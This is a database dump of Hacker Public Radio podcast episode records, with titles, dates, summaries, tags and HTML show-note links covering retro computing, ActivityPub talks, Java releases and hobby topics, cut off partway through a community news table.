(3016,'2020-02-24','Nixie tube clock and friends!',874,'I chat about Novice Nixie tubes and tronics soldering etc','<p>Nixie tube (English: /ˈnɪk. siː/ NIK-see), or cold cathode display, is an electronic device for displaying numerals or other information using glow discharge.</p>\r\n<p><a href=\"https://www.tindie.com/products/robg/msp430-nixie-clock-kit/\" class=\"uri\">https://www.tindie.com/products/robg/msp430-nixie-clock-kit/</a></p>',36,0,0,'CC-BY-SA','DIY,nixie tube,LED,electronics ',0,0,1),
(2987,'2020-01-14','World of Commodore 2019 Episode 5: New games from Double Sided Games',2250,'A presentation by Jérémie Marsin of Double Sided games.','<p>Links of note:</p>\r\n<ul>\r\n<li><a href=\"https://doublesidedgames.com/\" class=\"uri\">https://doublesidedgames.com/</a></li>\r\n<li><a href=\"https://www.tpug.ca/\" class=\"uri\">https://www.tpug.ca/</a></li>\r\n<li><a href=\"https://pquirk.com/\" class=\"uri\">https://pquirk.com/</a></li>\r\n</ul>',383,0,0,'CC-BY-SA','Commodore 64,retro,computing,games,gamer,vintage',0,0,1),
(2992,'2020-01-21','World of Commodore 2019 Episode 6: Introduction to C64 OS',2159,'Greg Naçu presents to us his new operating system to the Commodore 64','<p>Links of note:</p>\r\n<ul>\r\n<li><a href=\"https://www.tpug.ca/\" class=\"uri\">https://www.tpug.ca/</a></li>\r\n<li><a href=\"https://pquirk.com/\" class=\"uri\">https://pquirk.com/</a></li>\r\n</ul>\r\n',383,103,0,'CC-BY-SA','Commodore,64,OS,World of Commodore',0,0,1),
(2983,'2020-01-08','my phone',497,'gnu-linuxy in my pocket','<ul>\r\n<li><p>lineageOS<br />\r\n<a href=\"https://lineageos.org/\" class=\"uri\">https://lineageos.org/</a></p></li>\r\n<li><p>termux<br />\r\n<a href=\"https://termux.com/\" class=\"uri\">https://termux.com/</a></p></li>\r\n<li><p>fdroid<br />\r\n<a href=\"https://f-droid.org/\" class=\"uri\">https://f-droid.org/</a></p></li>\r\n<li><p>satstat<br />\r\n<a href=\"https://f-droid.org/en/packages/com.vonglasow.michael.satstat/\" class=\"uri\">https://f-droid.org/en/packages/com.vonglasow.michael.satstat/</a></p></li>\r\n<li><p>skymap<br />\r\n<a href=\"https://f-droid.org/en/packages/com.google.android.stardroid/\" class=\"uri\">https://f-droid.org/en/packages/com.google.android.stardroid/</a></p></li>\r\n<li><p>web utilities<br />\r\n<a href=\"https://radio.jezra.net\" class=\"uri\">https://radio.jezra.net</a><br />\r\n<a href=\"https://twilock.jezra.net\" class=\"uri\">https://twilock.jezra.net</a></p></li>\r\n</ul>\r\n',243,0,0,'CC-BY-SA','phone, linux',0,0,1),
(2990,'2020-01-17','JDK14 - Wrap up edition',911,'We look into what is included in the next release of the JDK.','<p>305: <a href=\"https://openjdk.java.net/jeps/305\">Pattern Matching for instanceof (Preview)</a><br />\r\n343: <a href=\"https://openjdk.java.net/jeps/343\">Packaging Tool (Incubator)</a><br />\r\n345: <a href=\"https://openjdk.java.net/jeps/345\">NUMA-Aware Memory Allocation for G1</a><br />\r\n349: <a href=\"https://openjdk.java.net/jeps/349\">JFR Event Streaming</a><br />\r\n352: <a href=\"https://openjdk.java.net/jeps/352\">Non-Volatile Mapped Byte Buffers</a><br />\r\n358: <a href=\"https://openjdk.java.net/jeps/358\">Helpful NullPointerExceptions</a><br />\r\n359: <a href=\"https://openjdk.java.net/jeps/359\">Records (Preview)</a><br />\r\n361: <a href=\"https://openjdk.java.net/jeps/361\">Switch Expressions (Standard)</a><br />\r\n362: <a href=\"https://openjdk.java.net/jeps/362\">Deprecate the Solaris and SPARC Ports</a><br />\r\n363: <a href=\"https://openjdk.java.net/jeps/363\">Remove the Concurrent Mark Sweep (CMS) Garbage Collector</a><br />\r\n364: <a href=\"https://openjdk.java.net/jeps/364\">ZGC on macOS</a><br />\r\n365: <a href=\"https://openjdk.java.net/jeps/365\">ZGC on Windows</a><br />\r\n366: <a href=\"https://openjdk.java.net/jeps/366\">Deprecate the ParallelScavenge + SerialOld GC Combination</a><br />\r\n367: <a href=\"https://openjdk.java.net/jeps/367\">Remove the Pack200 Tools and API</a><br />\r\n368: <a href=\"https://openjdk.java.net/jeps/368\">Text Blocks (Second Preview)</a><br />\r\n370: <a href=\"https://openjdk.java.net/jeps/370\">Foreign-Memory Access API (Incubator)</a></p>\r\n',382,0,0,'CC-BY-SA','java, news',0,0,1),
(2979,'2020-01-02','Bicycle Freewheel Maintenance',450,'I explain how to lube a bicycle freewheel','<p>This is a short episode where I explain how to service your bicycle freewheel if it\'s misbehaving. My pedals were turning around when I walked the bike, and they ought to be stationary. A quick dose of chain oil in the freewheel fixed the problem. Click the image to see photos showing how to do this.</p>\r\n\r\n<p><a data-flickr-embed=\"true\" href=\"https://www.flickr.com/photos/137675441@N05/albums/72157712277100862\" title=\"Bicycle Freewheel Lube\"><img src=\"https://live.staticflickr.com/65535/49243896423_d89e9185da.jpg\" width=\"500\" height=\"281\" alt=\"Bicycle Freewheel Lube\"></a></p>\r\n',238,115,0,'CC-BY-SA','bicycles, bicycle maintenance, DIY, bicycle repair',0,0,1),
(2984,'2020-01-09','RHEL 8 Workstation first looks ',543,'Runing RHEL 8 workstation on a HP Stream Laptop','<p>Hi Everyone a bit random ideas about RHEL 8 on a low end laptop.</p>\r\n<p>Interesting Git and flatpak are already installed out of the box.</p>\r\n<p>MS Teams works great.</p>',129,0,0,'CC-BY-SA','HP Stream, RHEL 8, MS Teams, flatpak',0,0,1),
(2988,'2020-01-15','A tale of two hackers in the same system',518,'AIX Hacking and modem stuff!!','<p>Hi, I’m sigflup. This is about that awesome time I found that there was another hacker in the same system that I was hacking. Fun stuff</p>\r\n',115,0,1,'CC-BY-SA','unix,aix,modem,lynx',0,0,1),
(2989,'2020-01-16','2019-2020 New Year Show Episode 1',8435,'Eighth Annual New Year Show - Sint brings toys','<h3>Hacker Public Radio 2019-20 New Year Show Episode 1</h3>\r\n<p>04:30 - 11:00 EST (09:30 - 16:00 UTC)</p>\r\n<ul>\r\n<li>Ken explains Sinterklaas\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Sinterklaas\">https://en.wikipedia.org/wiki/Sinterklaas</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=vTGDFhi7z4U\">https://www.youtube.com/watch?v=vTGDFhi7z4U</a></li>\r\n</ul></li>\r\n<li><a href=\"https://www.comptia.org/certifications/a\">https://www.comptia.org/certifications/a</a></li>\r\n<li>Ken &amp; Popey chat</li>\r\n<li>Netminer invites Popey &amp; Ken\'s daughter to be guests on LinuxLUGcast</li>\r\n<li>Raspberry Pi IV discussion</li>\r\n<li>Popey and TonyH chat about restoring model cars</li>\r\n<li>Popey and TonyH chat about: More model cars, 8-bit computing, ZX Spectrum, Commodore</li>\r\n<li><a href=\"https://8bitversus.com/\"> https://8bitversus.com/</a></li>\r\n<li>Sinclair calculator - <a href=\"https://en.wikipedia.org/wiki/List_of_Sinclair_calculators\">https://en.wikipedia.org/wiki/List_of_Sinclair_calculators</a></li>\r\n<li>Popey and TonyH speak about Lenovo laptops</li>\r\n<li>Mr Cholmondley Warner (<a href=\"https://www.youtube.com/watch?v=tQWPR9TM0Gk)\">https://www.youtube.com/watch?v=tQWPR9TM0Gk)</a></li>\r\n<li>DaveM and TonyH talk more about model cars, their restoration and history</li>\r\n<li>DaveM is working on a \"MagicMirror2\" system on a Pi 3A+ to show status information</li>\r\n<li>Dinky Toys - <a href=\"https://en.wikipedia.org/wiki/Dinky_Toys\">https://en.wikipedia.org/wiki/Dinky_Toys</a></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','2019-20 New Year Show, NYS',0,0,1),
(3026,'2020-03-09','Hex Bug and Battle Bots',1120,'Review/mods of fun Hex Bug and Battle Bots','<p>Review/mods of fun Hex Bug and Battle Bots</p>\r\n',36,0,0,'CC-BY-SA','robots,hexbug,battlebots,RC,IR',0,0,1),
(2993,'2020-01-22','2019-2020 New Year Show Episode 2',9298,'Eighth Annual New Year Show with ThinkPads, Steam engines and Corporate America philosophy','<h3>Hacker Public Radio 2019-20 New Year Show Episode 2</h3>\r\n<p>11:00 - 16:30 EST (16:00 - 21:30 UTC)</p>\r\n<ul>\r\n<li>TonyH &amp; JoeB chat: ThinkPads, podcasts they are involved with</li>\r\n<li>KenF explains podcast download stats</li>\r\n<li>Commercial podcasts hurting the little guy?</li>\r\n<li>TonyH &amp; JoeB chat: Headphones</li>\r\n<li>TonyH &amp; Popey chat: Food, games, first computer experience</li>\r\n<li>Moss joins in</li>\r\n<li>Old data storage: cassette tapes, Zip &amp; Jazz drives</li>\r\n<li>Thaj joins Moss &amp; JoeB: Favorite books &amp; authors</li>\r\n<li>Netminer discusses Autism</li>\r\n<li>Automobile inspections</li>\r\n<li>Netminer &amp; TonyH chat: personal property boundary issues</li>\r\n<li>Handsome_pirate joins: steam engine chat</li>\r\n<li>HonkeyMagoo joins</li>\r\n<li>David Richards steam engine Youtube channel -<a href= \"https://www.youtube.com/channel/UCBdj-vOveiEFWe3vnGoJUag\">https://www.youtube.com/channel/UCBdj-vOveiEFWe3vnGoJUag</a></li>\r\n<li>Mass transit, city traffic</li>\r\n<li>Corporate America philosophy</li>\r\n<li>Worker unions</li>\r\n<li>Fireworks</li>\r\n<li>Wimpy joins</li>\r\n<li>Ubuntu Mate discussion</li>\r\n<li>Donating used PC\'s</li>\r\n<li><a href=\"https://8bitversus.com/\">https://8bitversus.com/</a></li>\r\n<li>Timezone confusion??</li>\r\n<li>Ubuntu podcast</li>\r\n<li>TonyH: how he discovered Linux</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','2019-20 New Year Show, HPRNYS',0,0,1),
(2994,'2020-01-23','Wrestling As You Like It Episode 3',1327,'A podcast on why I like wrestling and how it works to draw in fans.','<p>In this episode I discuss what direction I’m taking the podcast in. Also more importantly I discuss what Supercards are and their purpose in Pro Wrestling.</p>',354,0,1,'CC-BY-SA','Pro Wrestling',0,0,1),
(2995,'2020-01-24','ActivityPub Conference 2019 - ActivityPub: past, present, future',961,'ActivityPub Conference 2019 Keynote','<p>The ActivityPub Conference of 2019 was held in Prague. This is about the opening keynote talk from Christopher Lemmer Webber. <a href=\"https://www.zwilnik.com/?page_id=1063\" class=\"uri\">https://www.zwilnik.com/?page_id=1063</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-chris\" class=\"uri\">https://archive.org/details/apconf-chris</a></li>\r\n<li><a href=\"https://dustycloud.org/\" class=\"uri\">https://dustycloud.org/</a></li>\r\n<li><a href=\"https://www.crockford.com/ec/\" class=\"uri\">https://www.crockford.com/ec/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1063\" class=\"uri\">https://www.zwilnik.com/?page_id=1063</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub',0,0,1),
(2997,'2020-01-28','World of Commodore 2019 Episode 7: Video Playback with 1541 Ultimate',1161,'In this seventh episode, Greg returns to tell us how he got full video playback on a Commodore 64.','<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/user/TorontoPETUsersGroup/\" class=\"uri\">https://www.youtube.com/user/TorontoPETUsersGroup/</a></li>\r\n<li><a href=\"https://pquirk.com/\" class=\"uri\">https://pquirk.com/</a></li>\r\n<li><a href=\"https://www.c64-wiki.com/wiki/1541_Ultimate\" class=\"uri\">https://www.c64-wiki.com/wiki/1541_Ultimate</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/1541_Ultimate\" class=\"uri\">https://en.wikipedia.org/wiki/1541_Ultimate</a></li>\r\n</ul>\r\n',383,103,0,'CC-BY-SA','Commodore 64,retro,computing,games,gamer,vintage,video,World of Commodore,TPUG',0,0,1),
(2998,'2020-01-29','2019-2020 New Year Show Episode 3',9164,'Eighth Annual New Year Show: The US is awake','<h3>Hacker Public Radio 2019-20 New Year Show Episode 3</h3>\r\n<p>16:30 - 21:54 EST (21:30 - 02:54 UTC)</p>\r\n<ul>\r\n<li>KWisher joins: ponders the New Year show editing</li>\r\n<li>New PC discussion, used PC acquisitions</li>\r\n<li>Remote desktop solutions</li>\r\n<li>Raspberry Pi IV</li>\r\n<li>DannW joins: text editors, Pascal, Fortran &amp; other programming languages</li>\r\n<li>MS Windows licensing, software, operating systems</li>\r\n<li>More MS woes</li>\r\n<li>Asperger syndrome, some light political chat</li>\r\n<li>ClaudioM joins: talks about BSD</li>\r\n<li>Moss: Feren OS - <a href=\"https://ferenos.weebly.com/\">https://ferenos.weebly.com/</a></li>\r\n<li>ZFS discussion</li>\r\n<li>Urandom Podcast - <a href=\"https://urandom-podcast.info/\">https://urandom-podcast.info/</a></li>\r\n<li>SELF - <a href=\"https://southeastlinuxfest.org/\">https://southeastlinuxfest.org/</a></li>\r\n<li>Destination Linux Podcast - <a href=\"https://destinationlinux.org/\">https://destinationlinux.org/</a></li>\r\n<li>Mandriva, Sabayon, Slackware, Fedora discussion</li>\r\n<li>Softmaker Office, office suite discussion</li>\r\n<li>Pokey joins: automobiles, politics</li>\r\n<li>Mushrooms, farming, college</li>\r\n<li>HP EliteBooks</li>\r\n<li>Linux Mint, thermal paste</li>\r\n<li>Winter weather &amp; driving, tire socks</li>\r\n<li><a href=\"https://thermal-grizzly.com/en/products/16-kryonaut-en\">https://thermal-grizzly.com/en/products/16-kryonaut-en</a></li>\r\n<li>Netminer talks about his DOS days, ISO standards</li>\r\n<li>Spine/back issues, treatment</li>\r\n<li>Xoke joins in</li>\r\n<li>Pokey loves DuckDuckGo</li>\r\n<li>Gnome boxes virtualization - <a href=\"https://help.gnome.org/users/gnome-boxes/stable/\">https://help.gnome.org/users/gnome-boxes/stable/</a></li>\r\n<li>Android key mapper - <a href=\"https://f-droid.org/en/packages/io.github.sds100.keymapper/\">https://f-droid.org/en/packages/io.github.sds100.keymapper/</a></li>\r\n</ul>',159,121,1,'CC-BY-SA','2019-20 New Year Show',0,0,1),
(3002,'2020-02-04','World of Commodore 2019 Episode 8: Vote of thanks',1156,'This is the final episode of the World of Commodore 2019 mini series.','<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.tpug.ca/\" class=\"uri\">https://www.tpug.ca/</a></li>\r\n<li><a href=\"https://pquirk.com/\" class=\"uri\">https://pquirk.com/</a></li>\r\n</ul>',383,0,1,'CC-BY-SA','Commodore,64,PET, Vic 20, amiga,World of Commodore, TPUG',0,0,1),
(3003,'2020-02-05','2019-2020 New Year Show Episode 4',9707,'Eighth Annual New Year Show. From Star Wars to NASA','<h3 id=\"hacker-public-radio-2019-20-new-year-show-episode-4\">Hacker Public Radio 2019-20 New Year Show Episode 4</h3>\r\n<p>21:54 - 01:40 EST (02:54 - 06:40 UTC)</p>\r\n<ul>\r\n<li>Chat about music, Star Wars, The Mandalorian</li>\r\n<li>Current main distro</li>\r\n<li>X2go RDP, Teamviewer, Dark Reader Firefox theme</li>\r\n<li>Pokey sucks at uRandom promotion</li>\r\n<li>Advent - <a href=\"https://en.wikipedia.org/wiki/Advent\" class=\"uri\">https://en.wikipedia.org/wiki/Advent</a></li>\r\n<li>Pokey’s firestarters</li>\r\n<li>Thaj publicly shames Lyle </li>\r\n<li>Lyle joins in shame</li>\r\n<li>Brief history of the New Year show </li>\r\n<li>Thaj challenges everyone listening to find one HPR episode that doesn’t have tags and contribute them this year. Tags get sparse around episode 550 if you are trying to find a place to start. OH…and you also owe Ken a show too.</li>\r\n<li>Here are the instructions: <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a></li>\r\n<li>Discussion about exercise </li>\r\n<li>Pokey tries to help Mongo with Mumble </li>\r\n<li>Thaj describes his custom keyboard layout </li>\r\n<li>Pokey repairs his wife’s laptop</li>\r\n<li>Thaj publicly shames Klattu &amp; Pokey for no tags on their shows</li>\r\n<li>CladioM explains the Latin tradition “Twelve Grapes” </li>\r\n<li>Pokey talks about being a grandparent</li>\r\n<li>More HP &amp; laptop talk</li>\r\n<li>Urugami joins</li>\r\n<li>Mongo joins</li>\r\n<li>Texas geography</li>\r\n<li>Motorcycles</li>\r\n<li>War stories</li>\r\n<li>NASA</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','2019-20 New Year Show',0,0,1),
(3008,'2020-02-12','2019-2020 New Year Show Episode 5',7013,'Eighth Annual New Year Show: war stories and more war stories','<h3 id=\"hacker-public-radio-2019-20-new-year-show-episode-5\">Hacker Public Radio 2019-20 New Year Show Episode 5</h3>\r\n<p>01:40 - 07:20 EST (09:40 - 12:20 UTC)</p>\r\n<ul>\r\n<li>More war stories, podcasts, lawn mowing</li>\r\n<li>Timezones, Daylight Savings Time</li>\r\n<li>Antique computers - PDP, VAX, distro talk</li>\r\n<li>NAS discussion, EU politics</li>\r\n<li>Urugami joins</li>\r\n<li>Mongo joins</li>\r\n<li>Texas geography</li>\r\n<li>Motorcycles</li>\r\n<li>War stories</li>\r\n<li>NASA</li>\r\n<li>More war stories, podcasts, lawn mowing</li>\r\n<li>Timezones, Daylight Savings Time</li>\r\n<li>Antique computers - PDP, VAX, distro talk</li>\r\n<li>NAS discussion, EU politics</li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','2019-20 New Year Show',0,0,1),
(3005,'2020-02-07','Is ActivityPub Paving The Way to Web 3.0?',735,'ActivityPub Conference 2019, a talk about whether ActivityPub is leading the way to Web 3.0','<p>The ActivityPub Conference of 2019 was held in Prague. This is about a talk raising a suggestion that ActivityPub might be a way to implement Web 3.0. <a href=\"https://www.zwilnik.com/?page_id=1081\" class=\"uri\">https://www.zwilnik.com/?page_id=1081</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk2_Maloki_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk2_Maloki_compressed.mov</a></li>\r\n<li><a href=\"https://medium.com/@maloki/does-mastodon-spark-joy-no-meet-florence-788bbc8b48c2\" class=\"uri\">https://medium.com/@maloki/does-mastodon-spark-joy-no-meet-florence-788bbc8b48c2</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1081\" class=\"uri\">https://www.zwilnik.com/?page_id=1081</a></li>\r\n</ul>',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub',0,0,1),
(3015,'2020-02-21','ActivityPub Conference 2019 - The Semantic Social Network',438,'ActivityPub Conference 2019, building a Semantic Social Network','<p>The ActivityPub Conference of 2019 was held in Prague. This is about a talk using ActivityPub to create the Semantic Social Network. <a href=\"https://www.zwilnik.com/?page_id=1086\" class=\"uri\">https://www.zwilnik.com/?page_id=1086</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk3_Pukkamustard_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk3_Pukkamustard_compressed.mov</a></li>\r\n<li><a href=\"https://schema.org/\" class=\"uri\">https://schema.org/</a></li>\r\n<li><a href=\"https://schema.org/servesCuisine\" class=\"uri\">https://schema.org/servesCuisine</a></li>\r\n<li><a href=\"https://schema.org/areaServed\" class=\"uri\">https://schema.org/areaServed</a></li>\r\n<li><a href=\"https://5stardata.info/en/\" class=\"uri\">https://5stardata.info/en/</a></li>\r\n<li><a href=\"https://moz.com/blog/json-ld-for-beginners\" class=\"uri\">https://moz.com/blog/json-ld-for-beginners</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1086\" class=\"uri\">https://www.zwilnik.com/?page_id=1086</a></li>\r\n</ul>',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub',0,0,1),
(3025,'2020-03-06','Keep unwanted messages off the Fediverse',881,'ActivityPub Conference 2019, techniques for fighting SPAM and unwanted messages in the Fediverse.','<p>The ActivityPub Conference of 2019 was held in Prague. This is about a talk about how we can keep SPAM and unwanted messages off of our platforms in the Fediverse. <a href=\"https://www.zwilnik.com/?page_id=1089\" class=\"uri\">https://www.zwilnik.com/?page_id=1089</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk4_Serge_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk4_Serge_compressed.mov</a></li>\r\n<li><a href=\"https://gitlab.com/spritely/ocappub\" class=\"uri\">https://gitlab.com/spritely/ocappub</a></li>\r\n<li><a href=\"https://www.zwilnik.com/spritely/ocappub/master/*How%20to%20build%20it\" class=\"uri\">https://www.zwilnik.com/spritely/ocappub/master/*How%20to%20build%20it</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1089\" class=\"uri\">https://www.zwilnik.com/?page_id=1089</a></li>\r\n</ul>',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, SPAM',0,0,1),
(3035,'2020-03-20','Decentralised Hashtag Search and Subscription in Federated Social Networks',669,'ActivityPub Conference 2019, a proposal for how we can use hashtags to find and subscribe to content','<p>The ActivityPub Conference of 2019 was held in Prague. This is about a talk a proposal for a method to allow searching for hashtags in a decentralized Fediverse environment so that we can find, and subscribe to, content of interest. <a href=\"https://www.zwilnik.com/?page_id=1091\" class=\"uri\">https://www.zwilnik.com/?page_id=1091</a></p>\r\n<h3 id=\"links\">Links:</h3>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk5_Schmittlauch_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk5_Schmittlauch_compressed.mov</a></li>\r\n<li><a href=\"https://relay.mastodon.host/\" class=\"uri\">https://relay.mastodon.host/</a></li>\r\n<li><a href=\"https://hacks.mozilla.org/2018/11/decentralizing-social-interactions-with-activitypub/\" class=\"uri\">https://hacks.mozilla.org/2018/11/decentralizing-social-interactions-with-activitypub/</a></li>\r\n<li><a href=\"https://source.joinmastodon.org/mastodon/pub-relay\" class=\"uri\">https://source.joinmastodon.org/mastodon/pub-relay</a></li>\r\n<li><a href=\"https://git.orlives.de/schmittlauch/paper_hashtag_federation/src/branch/master/paper_hashtag_federation.pdf\" class=\"uri\">https://git.orlives.de/schmittlauch/paper_hashtag_federation/src/branch/master/paper_hashtag_federation.pdf</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1091\" class=\"uri\">https://www.zwilnik.com/?page_id=1091</a></li>\r\n</ul>',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Hashtags',0,0,1),
(3045,'2020-04-03','OSS compliance with privacy by default and design',951,'How can Open Source Software manage the mandates of regulations like the GDPR?','<p>The GDPR (General Data Protection Regulation) was enacted by the European Community in 2016, and began to be enforced in 2018. Since this covers a large segment of the Internet users, and other jurisdictions are looking at similar legislation this talk is a timely look at what is required and how Open Source Software can meet the legal requirements. <a href=\"https://www.zwilnik.com/?page_id=1096\" class=\"uri\">https://www.zwilnik.com/?page_id=1096</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://redaktor.me/apconf/\" class=\"uri\">https://redaktor.me/apconf/</a></li>\r\n<li><a href=\"https://archive.org/details/apconf-talks/Talk6_Cristina_compressed.mov\" class=\"uri\">https://archive.org/details/apconf-talks/Talk6_Cristina_compressed.mov</a></li>\r\n<li><a href=\"https://xwiki.com/en/company/who-we-are/\" class=\"uri\">https://xwiki.com/en/company/who-we-are/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\" class=\"uri\">https://en.wikipedia.org/wiki/General_Data_Protection_Regulation</a></li>\r\n<li><a href=\"https://developercertificate.org/\" class=\"uri\">https://developercertificate.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Fediverse\" class=\"uri\">https://en.wikipedia.org/wiki/Fediverse</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1096\" class=\"uri\">https://www.zwilnik.com/?page_id=1096</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, Fediverse, ActivityPub, Privacy',0,0,1),
(3007,'2020-02-11','Photography 101',1468,'I tell you everything I know about the basics of photography','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://musopen.org/music/43172-pleasant-moments/\" class=\"uri\">https://musopen.org/music/43172-pleasant-moments/</a></li>\r\n<li><a href=\"https://pquirk.com\" class=\"uri\">https://pquirk.com</a></li>\r\n</ul>\r\n',383,0,0,'CC-BY-SA','Photography 101,digital,film,camera',0,0,1),
(2999,'2020-01-30','SQRL - Secure Quick Reliable Login',1442,'In this podcast we talk about what SQRL is and how it works.','<p>In this podcast, we talk about what SQRL is, and how it works, why I feel that it’s an exciting new login method that is safe and easy to use.</p>\r\n<ul>\r\n<li><p>SQRL Documentation<br />\r\n<a href=\"https://www.grc.com/sqrl/sqrl.htm\" class=\"uri\">https://www.grc.com/sqrl/sqrl.htm</a></p></li>\r\n<li><p>SQRL Forums<br />\r\n<a href=\"https://sqrl.grc.com/\" class=\"uri\">https://sqrl.grc.com/</a></p></li>\r\n<li><p>SQRL Github organization<br />\r\n<a href=\"https://github.com/sqrldev\" class=\"uri\">https://github.com/sqrldev</a></p></li>\r\n<li><p>Android Application<br />\r\n<a href=\"https://play.google.com/store/apps/details?id=org.ea.sqrl\" class=\"uri\">https://play.google.com/store/apps/details?id=org.ea.sqrl</a></p></li>\r\n<li><p>Github repository for Android Application<br />\r\n<a href=\"https://github.com/kalaspuffar/secure-quick-reliable-login\" class=\"uri\">https://github.com/kalaspuffar/secure-quick-reliable-login</a></p></li>\r\n</ul>\r\n',382,0,1,'CC-BY-SA','security, login method',0,0,1),
(3281,'2021-03-01','HPR Community News for February 2021',4150,'HPR Volunteers talk about shows released and comments posted in February 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=390\" target=\"_blank\">o9l</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3261\" target=\"_blank\">3261</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-02-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3261\" target=\"_blank\">HPR Community News for January 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3262\" target=\"_blank\">3262</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-02-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3262\" target=\"_blank\">My thoughts on diversity in Linux and open source</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3263\" target=\"_blank\">3263</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-02-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3263\" target=\"_blank\">My Beginnings in Tech</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=390\" target=\"_blank\">o9l</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3264\" target=\"_blank\">3264</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-02-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3264\" target=\"_blank\">Intro to Nagios</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3265\" target=\"_blank\">3265</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-02-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3265\" target=\"_blank\">My Chromebook Experience</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a 